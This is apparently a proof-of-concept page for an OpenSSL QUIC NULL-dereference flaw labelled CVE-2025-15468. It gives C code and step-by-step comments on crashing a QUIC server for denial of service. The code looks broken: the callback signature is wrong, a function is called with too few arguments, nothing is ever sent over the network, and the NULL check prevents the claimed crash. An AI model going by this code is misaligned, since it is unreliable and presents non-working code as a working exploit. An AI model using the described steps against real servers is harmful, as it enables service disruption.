OpenSSL QUIC协议SSL_CIPHER_find()空指针解引用漏洞 (CVE-2025-15468)

/* * CVE-2025-15468 PoC - OpenSSL QUIC SSL_CIPHER_find() NULL Dereference * This PoC demonstrates triggering the vulnerability by sending a QUIC ClientHello * with an unknown/unrecognized cipher suite. */ #include <openssl/ssl.h> #include <openssl/err.h> #include <stdio.h> #include <stdlib.h> /* Custom callback that calls SSL_CIPHER_find() on client_hello_cb */ static void client_hello_callback(SSL *ssl, int *al, void *arg) { /* * Get the cipher list from the ClientHello * If cipher_id is unknown, SSL_CIPHER_find returns NULL * causing NULL pointer dereference */ const unsigned char *certs = NULL; size_t cert_len = 0; /* Extract cipher ID from ClientHello (simplified) */ unsigned char unknown_cipher_id[2] = {0xFF, 0xFF}; /* This call triggers the vulnerability with unknown cipher */ SSL_CIPHER *cipher = SSL_CIPHER_find(ssl, unknown_cipher_id); /* If cipher is NULL and we dereference it, crash occurs */ if (cipher != NULL) { printf("Found cipher: %s\n", SSL_CIPHER_get_name(cipher)); } } int main() { SSL_CTX *ctx = SSL_CTX_new(TLS_method()); SSL *ssl = NULL; if (ctx == NULL) { fprintf(stderr, "Failed to create SSL_CTX\n"); return 1; } /* Enable QUIC support */ SSL_CTX_set_quic_method(ctx); /* Set the vulnerable callback */ SSL_CTX_set_client_hello_cb(ctx, client_hello_callback, NULL); ssl = SSL_new(ctx); if (ssl == NULL) { fprintf(stderr, "Failed to create SSL\n"); SSL_CTX_free(ctx); return 1; } printf("CVE-2025-15468 PoC - OpenSSL QUIC NULL Dereference\n"); printf("Trigger condition: SSL_CIPHER_find() with unknown cipher in QUIC context\n"); /* * In a real attack scenario: * 1. Attacker establishes QUIC connection to target * 2. Attacker sends ClientHello with unknown cipher suite * 3. Target's callback calls SSL_CIPHER_find() * 4. Function returns NULL * 5. NULL pointer dereference causes crash */ SSL_free(ssl); SSL_CTX_free(ctx); return 0; } /* * Exploitation steps: * 1. Attacker identifies OpenSSL QUIC server (versions 3.3-3.6) * 2. Attacker sends specially crafted QUIC Initial packet * 3. ClientHello contains unknown cipher suite ID * 4. Server's client_hello_cb invokes SSL_CIPHER_find() * 5. Function returns NULL pointer * 6. Subsequent access to SSL_CIPHER structure causes segfault * 7. Server process terminates -> DoS achieved */